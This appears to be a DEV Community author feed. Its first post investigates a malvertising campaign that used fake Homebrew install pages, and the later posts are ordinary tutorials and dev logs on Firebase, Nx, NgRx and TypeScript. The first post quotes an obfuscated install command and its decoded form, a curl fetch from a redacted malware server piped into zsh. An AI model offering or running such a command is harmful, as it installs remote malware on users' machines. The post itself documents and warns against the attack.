DEV Community: David

I Googled "brew upgrade" and Found a Malware Operation 🍺💀

David — Mon, 23 Feb 2026 13:10:09 +0000

The AI-powered scam content army is here, and it's buying Google Ads.

I don't mean the usual SEO slop, like the "Top 10 Best Ways to Optimize Your Workflow in 2026" stuff that clutters every search result. I mean professionally generated, technically convincing pages designed to trick developers into running malware on their machines, funded by hijacked ad accounts from real businesses in multiple countries, and rotating across platforms faster than they can be reported.

Here's how I stumbled into one.

The Search

I was messing around with Claude's Chrome extension, and I happened to be in a fresh Chrome session with no extensions, no ad blocker, no customization. I needed to update some Homebrew packages, and since I was already in vanilla Chrome, I just Googled it: "brew upgrade packages."

The first result was sponsored. It pointed to HackMD, which is a real notes platform. I clicked it and got a page titled "Terminal-Based macOS Deployment." It immediately looked like clean AI slop- from formatting, tone, subsections about "System Advantages" and "Native Optimization." It even name-dropped Gatekeeper and SIP (actual macOS security features), as if this page was helping you stay secure.

The installation command gave it away:

echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNr...'|base64 -D|zsh

If you're not a developer, that's a bunch of gibberish. If you are, every alarm in your brain should fire. That's a base64-encoded string being decoded and piped directly into your shell. You literally cannot read what it does before you run it.

I decoded it. Here's what it actually says:

echo 'Installing package please wait...' && curl -kfsSL http://[malware-server]/curl/[hash]|zsh

It prints a friendly "Installing package please wait..." message, then silently downloads a script from a remote server and executes it immediately. The -kfsSL flags on curl suppress all output and ignore SSL certificate errors.

This is a textbook virus.

The Investigation

The HackMD account that published the page was called "mac specs" with the username @sXss8fsSQ62Kehf5H3lirw — random characters, obviously generated. Created February 19, 2026. Three days before I found it. No other published notes.

Google requires advertisers to verify their identity, and you can look up any advertiser in the Google Ads Transparency Center. The ad was paid for by Enexum SA, based in Chile.

My first thought was that it's a shell company. But I looked them up, and they're a real ad agency in Santiago. Their ad account had probably been hijacked.

I reported the ad to Google, and to HackMD. The next morning, I searched the same thing again.

I got a new sponsored result on a different platform, Craft.md. It was an identical page template, word for word.

This time, someone had managed to leave a comment on the Craft page:

"THIS IS A VIRUS, STEALS PASSWORDS AND CRYPTO"

I checked the Transparency Center again. This ad was paid for by GRUPO EON AMERICA S.A.S., based in Argentina. And when I looked them up, their Transparency Center page showed 28 active ads, most of them normal campaigns for an Argentine supermarket chain.

So it was the same pattern of a hijacked agency account, with verified identity inherited.

I emailed both companies to let them know their accounts were likely compromised.

What's Actually Happening Here

This is AI slop being trivially abused and it kinda shocks me how simple and brazen it is.

They used the right terminology, the right formatting, and the right tone to exploit the fact that developers are already primed to copy commands from the internet and paste them into their terminals. The scam doesn't need you to download a file or click a suspicious link, but just to do the thing you were already going to do.

What You Should Do

Stop using sponsored search results. Just don't click them. The real documentation will always rank organically. Better yet, use a search engine that doesn't show sponsored results at all. I use Kagi, which is paid and ad-free. If I'd been in my normal setup instead of a bare Chrome session, I never would have seen this ad in the first place.

Learn what AI-generated scam content looks like. It has a samey quality: overly polished, generically professional, and weirdly confident about everything. Phrases like "Professional-grade installation via Terminal ensures a direct, high-speed integration with the macOS architecture" sound impressive but say nothing. Real documentation doesn't talk like that. If a technical guide reads like a marketing brochure, be suspicious.

Stick to real sources. When you're looking for how to use a CLI tool, go to the official docs. For Homebrew, that's brew.sh. If the source is a content-hosting platform rather than the project's own documentation, ask yourself why.

Check the comments. If you do end up on a platform that allows comments, look at them. Sometimes the best security advisory is the bluntest one.

Never run base64-encoded commands from the internet. If someone is hiding what a command does, there's a reason.

Stay skeptical out there.

After publishing this, I looked into whether anyone else had documented the same thing. It turns out this is a well-known, ongoing campaign that the security community has been tracking for over a year.

In January 2025, BleepingComputer reported on fake Homebrew Google Ads that redirected from the real "brew.sh" URL to a lookalike domain "brewe.sh." Homebrew's project leader responded publicly, essentially saying there was nothing they could do and that Google keeps taking money from scammers.

By October 2025, researchers had identified over 85 domains impersonating Homebrew, LogMeIn, and TradingView, all using the same base64 technique through Google Ads.

And just this month, the campaign expanded to abusing AI platforms directly. AdGuard documented attackers creating public artifacts on claude.ai with fake Homebrew install instructions, then buying Google Ads pointing to them. Because the ad shows the trusted claude.ai domain, users are even more likely to click. BleepingComputer confirmed the campaign also uses fake Apple Support pages on Medium, and that over 15,000 users viewed the malicious content. The search queries being targeted go beyond Homebrew to include "online DNS resolver" and "macOS CLI disk space analyzer."

So the HackMD and Craft pages I found are one arm of a much larger operation. The security community calls the technique "ClickFix"... and it's not slowing down.

Old Time Tunes Dev Log 5: Adjusting Firebase App Hosting for Cost

David — Tue, 15 Oct 2024 12:10:07 +0000

This is a long-running series of logs that I'm sharing with my spouse to incrementally share everything I do to contribute to our project Old Time Tunes. My goal is to make tiny records of what it takes to build a web platform.

I woke up today and saw we had an alert that we'd spent half our "budget" for the month for Old Time Tunes ($12/25)! This was surprising since no one's using it and it's a tiny app.

I went to the billing center (found the link here which takes you to the center here, and then I found a cost breakdown which showed that "Cloud Run" was accounting for basically all the cost. I know that "Cloud Run" is associated with running the Firebase App Hosting that is the NextJS server.

I figured that the app currently had a configuration that was too fancy for its current state. I bumped down the number of instances of the server to 1, and bumped down its available CPU and memory resources in this commit by updating the apphosting.yaml configuration file.

Old Time Tunes Dev Log 4: Firebase App Hosting deploy

David — Sun, 29 Sep 2024 18:53:32 +0000

Before making any features for the app, I want to set up deployment of the empty Next app to Firebase.

Firebase automatically configures a bunch of things for you in order to deploy a Next app. It figures out how to host it in a Docker container and manages the cloud resources for you.

I created a new project in Firebase from the web UI: https://console.firebase.google.com/u/0/project/old-time-tunes/overview.

Then, I followed a guide to add an "App Hosting" app from a monorepo into Firebase: https://firebase.google.com/docs/app-hosting/monorepos.

I had to change a few build configurations to help Firebase deploy the app:

I had to configure Next to build a "standalone" copy of the app for Docker (https://nextjs.org/docs/pages/api-reference/next-config-js/output#automatically-copying-traced-files). I added output: 'standalone' to the next.config.js file
I had to change where Next built files. I saw errors in the Google Cloud console where it was looking in apps/ott-app for the files, but by default Nx was building in dist/apps/ott-app. Ideally, I would have configured Firebase to look in the dist folder instead, but since I didn't find a way to do that, I updated the project.json file for the app to output build files in the expected location with "outputPath": "apps/ott-app"
I had to add an apphosting.json file in the root of the repo to explicitly tell Firebase what resources should be used. It specifies the CPU and memory that should be used. Firebase appears to be dumb and expects this to be at the root of the repo instead of in the apps/ott-app directory

I make this change in the PR https://github.com/david-shortman/old-time-tunes/pull/2/files, chore: deploy with firebase.

Now the (empty) app is deployed at https://ott-app--old-time-tunes.us-central1.hosted.app/!

Old Time Tunes Dev Log 3: GitHub PR merge setting

David — Sun, 29 Sep 2024 16:23:13 +0000

I'm going to start making PRs instead of merging directly to main, to create documentation of changes.

When I merge a PR, I always want it to be merged as a single commit. I don't like the default merge behavior which merges in all the commits of the PR branch (I usually have dozens of commits).

I updated the GitHub repo's settings (https://github.com/david-shortman/old-time-tunes/settings) to only allow "squash and merge" commits from PRs.

Old Time Tunes Dev Log 2: Adding Next.js

David — Sun, 29 Sep 2024 16:13:02 +0000

When I made the UI prototype last year, I used Angular. But now that I'm familiar with Next.js for React development, I'm bringing it into the repo.

Nx, the monorepo management tool, makes it easy to set up and add a Next.js app to the repo. I went to https://nx.dev/nx-api/next#nxnext to check what CLI commands to run. I ran npx nx add @nx/next to add Next.js.

~/dev/GitHub/old-time-tunes git:[main]
nx add @nx/next

✔ Installing @nx/next@19.8.2...
✔ Initializing @nx/next...

 NX   Package @nx/next added successfully.

This added the npm packages needed to run Next.js (including react and eslint rules like eslint-config-next and eslint-plugin-react).

I committed this as chore: add next.

Now that I have Nx support for Next.js, I was ready to create a new, empty Next app. There's CLI commands you can run in Nx, but I always use the Nx GUI in my IDE. The Nx docsite shows how to run generate commands from VSCode- https://nx.dev/recipes/nx-console/console-generate-command.
I use WebStorm instead of VSCode but it has a nearly identical Nx plugin. I used the GUI form to set a name and directory for the new app, and it generated this command to create the app: nx g @nx/next:application --name=ott-app --directory=apps/ott-app --projectNameAndRootFormat=as-provided --no-interactive.

Finally, I wanted to test that the empty app works. I tried to build it using the Nx IDE plugin which has an option to serve the app (which uses the command nx run ott-app:serve). But I hit a failure with the next.config.js file which, after some research, appears to incorrectly be using old an Javascript format (using require instead of import and module.exports = instead of export default). I updated the import and export statements in the file, and then ran the serve command again.

/Users/david/dev/GitHub/old-time-tunes/node_modules/.bin/nx run ott-app:serve

> nx run ott-app:serve:development

  ▲ Next.js 14.2.3
  - Local:        http://localhost:4200

 ✓ Starting...

The app ran successfully this time!

I committed this as chore: set up empty next app.

Old Time Tunes Dev Log 1a: Fixing vulnerable dependencies

David — Sun, 29 Sep 2024 15:35:35 +0000

When I updated the dependencies using Nx, I saw that some dependencies were vulnerable. That doesn't matter much yet since we're not deploying anything to users, but I still ran npm audit fix.

Instead of fixing the dependencies, I got some ugly errors about mismatched dependencies (presumably from the Nx update). I asked Claude about the issue by asking "i ran an nx update recently, then tried updating vulnerable dependencies with npm audit fix and got" and then I pasted the error from the terminal.

Claude told me I should update the zone.js package, so I did that with npm install zone.js@~0.14.10. Then I ran npm audit fix again and voila:

~/dev/GitHub/old-time-tunes git:[main]
npm audit fix

added 16 packages, removed 16 packages, changed 37 packages, and audited 2134 packages in 13s

281 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

I committed this as chore: fix vulnerabilities in nx 19.8.

Old Time Tunes Dev Log 1: Updating the Repo

David — Fri, 27 Sep 2024 03:03:59 +0000

Since we created our prototype back in December last year, it's been a long time since the repo's been touched. Before I start development, I "update the repo" to make sure I don't have to deal with old bugs from dependencies or out-of-date docs online.

We're using the repo management tool Nx (nx.dev docs) which manages standard dependencies for us like the web framework (next.js) and tools like Jest.

I ran npx nx migrate latest --from=nx@17.1.3 which updated many package.json dependencies since the last version I used, 17.1.3. Nx also made a temporary migrations.json file which it uses to define a list of tasks it will do to fix files in the repo to use updated features and library methods. I ran nx migrate --run-migrations to run those migrations.

Looks like the updates were nothing special. I made sure to commit the files that changed, but discarded the migrations.json file.

I committed this as chore: upgrade nx 19.8.

Here's how NgRx selectors actually work internally

David — Sat, 23 Mar 2024 03:06:51 +0000

Everyone wants to know "how do selectors really work?"

I ran into this question question on the NgRx GitHub discussion threads which asked:

I was wondering how selectors determine if their input changed - or, put differently: when do they recalculate?

I think every developer that uses NgRx should know the answer to this from the angle of how it really works under-the-hood. Knowing builds your confidence to build performant apps without mystery.

The fastest answer

When you subscribe to a selector with store.select, that selector, and every dependent selector it has, is called on every single state change.

That may sound terrible for performance! But, what you may not know is that selectors are actually composed of two parts, and the part that is expensive to run on every state change, the "projector," is actually not run on every state change.

Selectors only re-calculate, or call their projector again, when their "arguments" change. Let's see what that means.

What selectors really are

Selectors are composed of a projector function and a list of selectors that create "arguments" for the projector when given a state object.

Selectors are declared with createSelector like:

const selectSomething = createSelector(
   ...aListOfSelectors,
   projector
);

The projector function is not called on every state change.

Instead, when a selector is called:

each selector in the list of dependent selectors is applied on the state, producing arguments with which to call the projector
the arguments are compared to a cached, or memoized, list of values with which the selector's projector was last called
When the arguments are the same, compared by ===, the projector is not called; the last memoized value is returned instead
When any of the arguments are different, the projector is called, and the new value is returned; the arguments are memoized along with the new value

What does this mean?

Selectors don't have to have to be re-calculated, or apply their projector function, on every state change. This is enabled by writing small, composable selectors.

Break it down, how do selectors achieve memoization?

I'll show a simplified version of how createSelector and store.select work.

By looking at simplified implementations, hopefully you'll see how the awesome performance benefits of selectors are done.

How `createSelector` really works

createSelector is a factory that creates a function which takes in state and returns a value. The steps it takes are:

Declare variables for the last arguments with which the projector was called, and the last result of the projector
Create a function which
- Applies dependent selectors to the state
- Checks whether the last arguments with which the projector was called match the results from the dependent selectors
- Returns either memoized results when true, or applies the projector to the results from the dependent selectors

You could implement createSelector like:

function createSelector(...otherSelectors, projector) {
  // Declare variables for the last arguments which the projector was called with, and the last result of the projector
  let lastMemoizedArguments: Array<unknown> = undefined;
  let lastMemoizedResult: unknown = undefined;

  // Create a function which
  return (state) => {
    // Applies dependent selectors to the state
    const otherSelectorResults = otherSelectors.map(selector => selector(state));

    // Checks whether the last arguments with which the projector was called match the results from the dependent selectors
    const result = lastMemoizedArguments?.every((arg, i) => arg === otherSelectorResults[i])
        // Returns memoized results when true
        ? lastMemoizedResult
        // or applies the projector to the results from the dependent selectors
        : projector(...arguments);

    lastMemoizedArguments = otherSelectorResults;
    lastMemoizedResult = result;

    return result;
  };
}

How `store.select` really works

store.select creates an Observable based on the state and a selector.

For every single state change, the provided selector is applied to the value. Duplicate results are simply ignored.

You could implement select within a global store like:

class Store<State> {
  select(selector: (state: State) => unknown) {
    return this.state$.pipe(
      map(state => selector(state)),
      // don't emit a new value unless the value changes
      distinctUntilChanged() 
    );
  }
}

So those implementations mean...

createSelector handles setting up functions that process state and memoize their results based on child selectors. store.select applies a selector function to an Observable of every state change, and only emits changed values.

Applying what we learned

Let's look at how some real selectors use memoization to avoid unnecessary re-calculations.

Say we have the following selectors for finding students who have a passing grade on a test:

const selectStudents = createSelector(
  selectState,
  state => state.students
);

const selectTestGradesByStudentId = createSelector(
  selectState,
  state => state.testGradesToStudentId
);

const selectPassedTestsByStudentId = createSelector(
  selectTestGradesToStudentId,
  testGradesToStudentId => Object.fromEntries(
    Object.entries(testGradesToStudentId).filter(([_, { grade }]) => grade > 60)
  )
);

const selectStudentsWhoPassedTest = createSelector(
  selectPassedTestsByStudentId,
  selectStudents,
  (passedTestsByStudentId, students) => students.filter(student => !!passedTestsByStudentId[student.id])
);

Then when we are subscribed to this selector:

const studentsWhoPassedTest$ = this.store.select(selectStudentsWhoPassedTest);
studentsWhoPassedTest$.subscribe();

Say the current state was:

{
  students: [{id: 1, name: 'Alice'}, {id: 2, name: 'Bob'}],
  testGradesToStudentId: {'1': {grade: 65}, '2': {grade: 55}}
}

When we subscribe, selectStudentsWhoPassedTest would be called immediately, and all the dependent selectors would also be called, and every projector would be run.

If we update the state by adding another student without adding another test grade, we should expect only the selectors relevant to the students' list to call their projectors:

When selectStudentsWhoPassedTest is called,
- First, it evaluates its dependent selectors against the current state.
- selectPassedTestsByStudentId calls its dependent selector
  - selectTestGradesToStudentId calls selectState, which returns the current state object.
  - The projector function is then applied, returning the testGradesToStudentId array.
  - Next, the projector function for selectPassedTestsByStudentId is applied, using the argument from selectTestGradesToStudentId. Since the result is identical to the previous state (same reference), the memoized projector result is returned.
- Separately, selectStudents calls selectState, fetching the new state object.
  - Its projector function returns the state.students array, now with a new reference due to the updated list of students.
- Finally, selectStudentsWhoPassedTest compares its arguments: the unchanged passedTestsByStudentId and the updated array of students. Given the change in one argument, the projector is re-applied.

So when we changed the list of students:

selectPassedTestsByStudentId's projector didn't have to get called again
selectStudentsWhoPassedTest's projector got called again using the new list of students

Wrapping up

In this article you learned:

Selectors that are part of a subscription are called on every state change
The projectors of selectors are only called when the results of their dependent selectors change from the previous state value to the current one
Selector memoization is set up in createSelector
Change notifications of selector values are set up in store.select
Selectors have to be written intentionally to take advantage of their memoization

Without the mystery of how selectors work, you should be able to write performant, composable selectors.

How to Use 🧨 Dynamic Titles from NgRx Selectors

David — Sat, 16 Jul 2022 23:33:03 +0000

When Angular 14 released and custom title strategies became a possibility, my mind immediately went to asking, "how can I dynamically set a page's title from a selector?"

I wrote an RFC in the NgRx community to pitch an API for doing this. I'd like to explain how it works, and how you can leverage it today (whether or not it joins an @ngrx/* package).

Example of configuring a dynamic title

All the code for the following example can be found in this StackBlitz demo.

Say I have a website where I can enter the name of an "action" in an input, and then "do" it by clicking a "Do Action" button.

When I click "Do Action", the title of my page reflects how many seconds have passed since the "action" was done.

In my Angular app routes, I have the route for the page configured using a tag function called ngrxTitle that allows me to inline selectors into a string.

const routes: Routes = [
  {
    path: '',
    component: AppComponent,
    title: ngrxTitle`${counterFeature.selectCount} Seconds Since ${counterFeature.selectEvent}`,
  },
];

The selector counterFeature.selectCount selects the number of seconds since the button was clicked, while counterFeature.selectEvent selects the name of the action entered in the input when the button was clicked. Using ngrxTitle, I can templatize the title to include the latest results of multiple selectors like these.

ngrxTitle Implementation

ngrxTitle is a tag function that processes a template literal with selectors.

For every selector, it generates a unique ID and replaces the selector with the string 'NgRxTitleSelector${ID}'.

For example, when I ran my app, the title template literal was generated into the string 'NgRxTitleSelector${f35ace1e-28d8-4dc6-850a-f0900315ca8a} Seconds Since NgRxTitleSelector${40b2582b-832a-44f5-b6ce-f650518db278}'.

Angular 14 allows developers to implement custom "title strategies". A TitleStrategy is a class with an updateTitle method that is called each time the route changes. This gives us the opportunity to change the title any way desired.

That means we can process the title template generated by ngrxTitle and subscribe the selectors referenced by the template to produce a new title.

The NgRxTitleStrategy starts with this basic structure:

export class NgRxTitleStrategy extends TitleStrategy {

  private titleSubscription: Subscription | undefined;

  updateTitle(snapshot: RouterStateSnapshot): void {
    // Each time the route changes, cancel the last subscription
    this.titleSubscription?.unsubscribe();

    // Get the title using the base method
    // When using ngrxTitle, this will be the special template string
    const titleTemplate = this.buildTitle(snapshot);
    // Create an Observable of the title built from the template
    const title$ = this.selectTitleFromTemplate(titleTemplate);
    // Continuously update the title as the selectors emit new values
    this.titleSubscription = title$.subscribe((t) => this.title.setTitle(t));
  }
}

In the app module, we can utilize the new title strategy in the providers.

@NgModule({
  declarations: [AppComponent],
  providers: [{
    provide: TitleStrategy,
    useClass: NgRxTitleStrategy,
  }],
  imports: [
    /* ... */
  ],
  bootstrap: [AppComponent],
})
export class AppModule {}

Full implementation

See the gist below for the full implementation.

WEIRD TS TYPES 🛸: Using Contextual Typing and Deferred Inference to Plan an Alien Conquest

David — Wed, 01 Dec 2021 23:42:21 +0000

This post is accompanied by a Typescript playground found here

Typescript has a powerful inference system which automatically assigns types to variables and function parameters when they are not explicitly provided. The behavior of inference is thoroughly documented in the Typescript Handbook.

Inference is helpful, but there are some cases (like writing generic functions) where the order of inference needs to be controlled.

This was recently exemplified by an RFC in the state library NGXS. In short, one of the functions published by the library was improperly typed because the type of its first argument was intended to be inferred from its contextually expected return type.

Instead of explaining the RFC directly, however, I wanted to have some fun and explain it through ALIENS instead 👽.

Let's look at how contextually inferred, deferred types can help a ~~state management~~ alien invasion library...

Invasion Overview

Let's say our alien overlords want us to plan an invasion of Smallville, a rural town in the US.

Smallville is like many small towns, so we'll create types that describe it in general terms.

type Person = '🧑';
type Cow = '🐮';
// regular field or field with a crop circle 👇
type CornField = '🌽🌽🌽' | '🌽⏀🌽'; 

type RuralTown = {
    people: Array<Person>;
    cows: Array<Cow>;
    cornFields: Array<CornField>;
};

const smallville: RuralTown = {
  people: ["🧑", "🧑"],
  cows: ["🐮", "🐮", "🐮"],
  cornFields: ["🌽🌽🌽", "🌽🌽🌽"],
};

To conduct research, our alien scientists have created many research vessels equipped to serve specific missions. These spacecraft all study different ResearchTargets.

type ResearchTarget = {
    [researchSubject: string]: Array<string>;
}

smallville, being a RuralTown, is a ResearchTarget since it has the same shape.

Our spaceship, a ruralTownResearchShip, can research and interfere with any town that is like a RuralTown.

const smallTownResearchShip = new ResearchShip<RuralTown>();

It interacts with the town through expeditions. Each time an expedition is conducted, the town may be changed in some way. The changes to the town are evaluated using an ExpeditionChangeFn.

type ExpeditionChangeFn<T extends ResearchTarget> = (town: T) => T;

class ResearchShip<T extends ResearchTarget> {
    // Expeditions are executed and the resulting state of the town is returned
    public conductExpeditions(...expeditions: Array<ExpeditionChangeFn<T>>): : { on: (town: T) => T } { /*...*/ }
}

Our alien leaders have created a standard pattern for interacting with research targets by creating functions that produce ExpeditionChangeFns. These generalized methods allow alien developers to apply the same expedition methodologies across their various spacecraft, drones, and VR technologies.

Our invasion plan will employ two of these methods using our spacecraft- interfere and eradicate.

interfere-ing causes us to produce a new state of how the town looks after we interact. We can provide a partial update of which features of the town changed.

function interfere<T extends ResearchTarget>(afterInterference: Partial<T>): ExpeditionChangeFn<T> { /*...*/ }

For instance, if there were two corn fields previously in the town (['🌽🌽🌽', '🌽🌽🌽']), and we plan to draw a crop circle in one of them, we would provide that change as interfere({ cornFields: ['🌽🌽🌽', '🌽⏀🌽'] }).

eradicate-ion, meanwhile, removes all elements across all features of the town.

function eradicate <T>(): ExpeditionChangeFn<T> { /*...*/ }

Eradication requires no configuration, so we can create an eradication plan with no arguments using eradicate().

Invasion Blueprint

Our invasion will be conducted in four stages. First, we will do three rounds of expeditions, and then conclude by preparing the town for our settlement.

smallTownResearchShip
  .conductExpeditions(
    // 1️⃣, we'll make a crop circle in a corn field
    // to see how the populace reacts 👇
    interfere({ cornFields: ["🌽🌽🌽", "🌽⏀🌽"] }),
    // 2️⃣, we'll take all the cows for wildlife research 👇
    interfere({ cows: [] }),
    // 3️⃣, we'll abduct a human to analyze their weaknesses 👇
    interfere({ people: ["🧑"] }),
    // Finally, we'll eradicate everything for our colonization! 👇
    eradicate()
  )

Just as we've finished writing our invasion plan, we notice a type error. It looks like interfere is suffering from the same problem the NGXS team had with their state operators!

Fixing Our Invasion Plan's Inferred Types

Typescript outputs the following error:

smallTownResearchShip
  .conductExpeditions(
    //Argument of type 'ExpeditionChangeFn<{ cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[]; }>' is not assignable to parameter of type 'ExpeditionChangeFn<RuralTown>'.
    //  Type '{ cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[]; }' is not assignable to type 'RuralTown'. (2345)
    interfere({ cornFields: ["🌽🌽🌽", "🌽⏀🌽"] }),
    interfere({ cows: [] }),
    interfere({ people: ["🧑"] }),
    eradicate()
  )

This error is telling us that the inferred shape of the research target does not match the expected shape of a RuralTown.

The interfere function is inferring T as the shape of its first argument, { cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[] }. This object does not match a RuralTown because it is missing cows and people.

Let's look at the signature for interfere again.

function interfere<T extends ResearchTarget>(afterInterference: Partial<T>): ExpeditionChangeFn<T> {

The research target T will be inferred from the parameter afterInterference. But that's not helpful for us, because we expect that interfere will return a ExpeditionChangeFn for the same research target shape as our spacecraft. And RuralTown has more properties than just cornFields.

So we have a strange requirement. We want to infer a generic type from context, and we want to infer based on the return type, not the first parameter.

This may sound like an impossible task, but Typescript has the ability to infer types based on context, known as Contextual Typing.

In our case, conductExpeditions is typed to say that its expeditions argument is an array of ExpeditionChangeFns which return T.

conductExpeditions(...expeditions: Array<ExpeditionChangeFn<T>>)

Typescript knows that a function passed as an expedition should return a function that returns T. This is how Typescript correctly infers T for the return type of eradicate, actually! eradicate's generic is inferable from the return type, which is contextually known to be T from the conductExpeditions signature.

In the case of the interfere function, Typescript is preferring to infer from the value passed into its first argument instead of contextually for the return type.

There isn't a built-in way to tell Typescript to not infer a generic type from a parameter. But, we can create a utility type for this named NoInfer.

type NoInfer<T> = T extends infer S ? S : never;

Conditional types allow us to infer the types from generics. This is helpful to infer the type of the elements of an array, for example, like:

type ElementsOfArray<T> = T extends Array<infer E> ? E : never;
// becomes `1 | 2 | 3`
type OneTwoOrThree = ElementsOfArray<[1, 2, 3]>;

NoInfer doesn't appear to do anything at first. Since it infers S directly from T, it looks like it just repeats whatever type is passed into it:

// becomes `string`
type StringAgain = NoInfer<string>;

But the inference of conditional types is deferred in certain scenarios. In this case, the condition depends on a type variable T to determine S, and the conditional type is deferred.

So for interfere, that type variable is inferred from the expected return type of an element of expeditions!

Excited by this new knowledge, we change the definition of interfere to use NoInfer.

// Wrap T with NoInfer 👇
function interfere<T extends ResearchTarget>(afterInterference: Partial<NoInfer<T>>): ExpeditionChangeFn<T> {

All our plans should now be successful, and strongly typed to boot 👾.

Let's make sure our invasion runs as expected:

console.log('Before expeditions:', smallville);

const smallvilleAfterExpeditions = smallTownResearchShip
  .conductExpeditions(
    interfere({ cornFields: ["🌽🌽🌽", "🌽⏀🌽"] }),
    interfere({ cows: [] }),
    interfere({ people: ["🧑"] }),
    eradicate()
  )
  .on(smallville);

Looking at our console output, it seems our invasion went flawlessly!

[LOG]: "Before expeditions:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [
    "🐮",
    "🐮",
    "🐮"
  ],
  "cornFields": [
    "🌽🌽🌽",
    "🌽🌽🌽"
  ]
} 
[LOG]: "After expedition 1:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [
    "🐮",
    "🐮",
    "🐮"
  ],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 2:",  {
  "people": [
    "🧑",
    "🧑"
  ],
  "cows": [],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 3:",  {
  "people": [
    "🧑"
  ],
  "cows": [],
  "cornFields": [
    "🌽🌽🌽",
    "🌽⏀🌽"
  ]
} 
[LOG]: "After expedition 4:",  {
  "people": [],
  "cows": [],
  "cornFields": []
}

I hope the lens of extraterrestrial conquest has been helpful for thinking about this weird edge of the Typescript inference system. Please examine the full example in the Typescript playground here.

Describe Your NgRx Actions More To Write Less Code

David — Sat, 06 Mar 2021 05:31:18 +0000

Actions describe events in our NgRx-powered applications.

When we fail to sufficiently describe our actions, we get duplicative code. This results in higher maintenance cost and slower time to implement features.

Instead, we can define a structure for action metadata, and inject that into our actions when they are instantiated.

Then, we can more generically react to actions with that metadata while preserving good action hygiene and allowing actions to continue to operate for their more narrow purposes.

An example

Consider the following action:

export const LoadBillingAddressSuccess = createAction(
  '[Address API] Load Billing Address Success',
  props<{ address: Address }>()
);

When an instance of this action is instantiated, it will be an object that looks something like

{
  type: '[Address API] Load Billing Address Success',
  address: { /* some address */ }
}

Examining the object, we know that the action

is a discrete event named [Address API] Load Billing Address Success
occurred for a given address

With that information, we are able to write a useful state change in our reducer:

on(LoadBillingAddressSuccess, (state, { address }) => ({
  ...state,
  billingAddress: address
}))

The feature requirements

Say we were given two requirements for displaying this billing address on a webpage:

While the billing address is loading, show a loading indicator panel
When the billing address fails to load, show a failure toast notification

Surveying a possible implementation

For the loading indicator panel, it would make sense to have some kind of "request state" we can track.

Depending on if the request state is in progress or has completed, we can display either the loading indicator or the address component.

When we go to implement this, however, we find that this idea has already been implemented for another request state:

// in the reducer
on(LoadHomeAddressStarted, state => ({
  ...state,
  loadHomeAddressRequestState: 'started'
})),
on(LoadHomeAddressSuccessful, state => ({
  ...state,
  loadHomeAddressRequestState: 'successful'
}))

// in the selectors
export const selectLoadHomeAddressRequestState = createSelector(
  selectAddressesState,
  state => state.loadHomeAddressRequestState
);

export const selectLoadHomeAddressRequestStateIsInProgress = createSelector(
  selectLoadHomeAddressRequestState,
  requestState => requestState === 'started'
);

Similarly, for the failure toast notification, we find that an effect already exists for the "home address" as well:

showLoadHomeAddressFailedNotification$ = createEffect(() =>
  this.actions$.pipe(
    ofType(LoadHomeAddressFailed),
    tap(() => this.notificationService.push('Failed to load Home Address', 'failure'))
  ),
  { dispatch: false }
);

Dealing with common requirements

While the billing address and home address-related actions are all distinct, they seem to be related by having common resulting behavior.

Without breaking good action hygiene, we can better describe our actions to easily react to them in a more generic way.

Describing actions as request state milestones

We can define a request state and describe actions as a milestone for a stage of that request state.

Without worrying about the internal details, say I have a function like createRequestState that operates like so:

export const LoadBillingAddressRequestState = createRequestState();

LoadBillingAddressRequestState.aSuccess();
// produces an object like
/*
  {
    requestStateMetadata: {
      uuid: 'some-uuid',
      milestone: 'success'
    }
  }
*/

Then by using the "creator" API of createAction, we can inject this metadata into the payload of our action:

export const LoadBillingAddressSuccess = createAction(
  '[Address API] Load Billing Address Success',
  (properties: { address: Address }) => ({
    ...properties,
    ...LoadBillingAddressRequestState.aSuccess()
  })
);

The action is still instantiated the same way, but now produces an object like this:

LoadBillingAddressSuccess({ address: someBillingAddress })

/* produces
  { 
    type: '[Address API] Load Billing Address Success',
    address: someBillingAddress,
    requestStateMetadata: {
      uuid: 'some-uuid',
      milestone: 'success'
    }
  }
*/

Now that we have requestStateMetadata on the action, we can react to it in a more generic way:

// in new request-state.effects.ts
mapToRequestStateChanged$ = createEffect(() =>
  this.actions$.pipe(
    filter(action => !!action['requestStateMetadata']),
    map(action => RequestStateChanged(action['requestStateMetadata']))
  )
);

// in new request-state.reducer.ts
on(RequestStateChanged, (state, { uuid, milestone }) => ({
  ...state,
  [uuid]: milestone
)})

Our existing reducer code to update the billing address in the address reducer still works just fine! But now we're also progressing the state for this request in a way that's easy to read straight from the action declaration.

As a bonus, we could implement a selector within the object our magic createRequestState function produces such that we can easily select if the request state is in progress:

LoadBillingAddressRequestState.selectIsInProgress();

/* produces a selector like
  createSelector(
    selectRequestState(uuid),
    requestState => requestState === 'started'
  );
*/

Describing actions as notifiable failures

Implementing a similar metadata approach for notifications is simple.

We can declare a function that operates like so:

aNotifiableFailure('A failure message.');
// produces an object like
/*
  {
    failureNotificationMetadata: {
      message: 'A failure message.'
    }
  }
*/

Again, we can describe our action with the aNotifiableFailure metadata creator.
Interestingly, if we want our failure message to be dynamic based on a property from the action, we can do that!

export const LoadBillingAddressFailure = createAction(
  '[Address API] Load Billing Address Failure',
  (properties: { serverError: ServerError }) => ({
    ...properties,
    ...aNotifiableFailure(serverError.message)
  })
);

The action creator will work like so:

LoadBillingAddressFailure({ serverError: someServerError })

/* produces
  { 
    type: '[Address API] Load Billing Address Failure',
    serverError: someServerError,
    failureNotificationMetadata: {
      message: someServerError.message
    }
  }
*/

And now all failures can be handled in one effect:

// in new notifications.effects.ts
showFailureNotification$ = createEffect(() =>
  this.actions$.pipe(
    filter(action => !!action['failureNotificationMetadata']),
    tap(() => this.notificationService.push(action['failureNotificationMetadata'].message, 'failure'))
  ),
  { dispatch: false }
);

Handling descriptive actions reduces code

By injecting metadata into our actions, we reduce the amount of code we have to write for handling similar behavior across our application while maintaining good action hygiene.

The pattern also increases the usefulness of the actions file by giving a reader a more complete picture of what an action represents.

Write a Dead Simple Web App, Fast, for a Hackathon (Part Two): Debug and Deploy

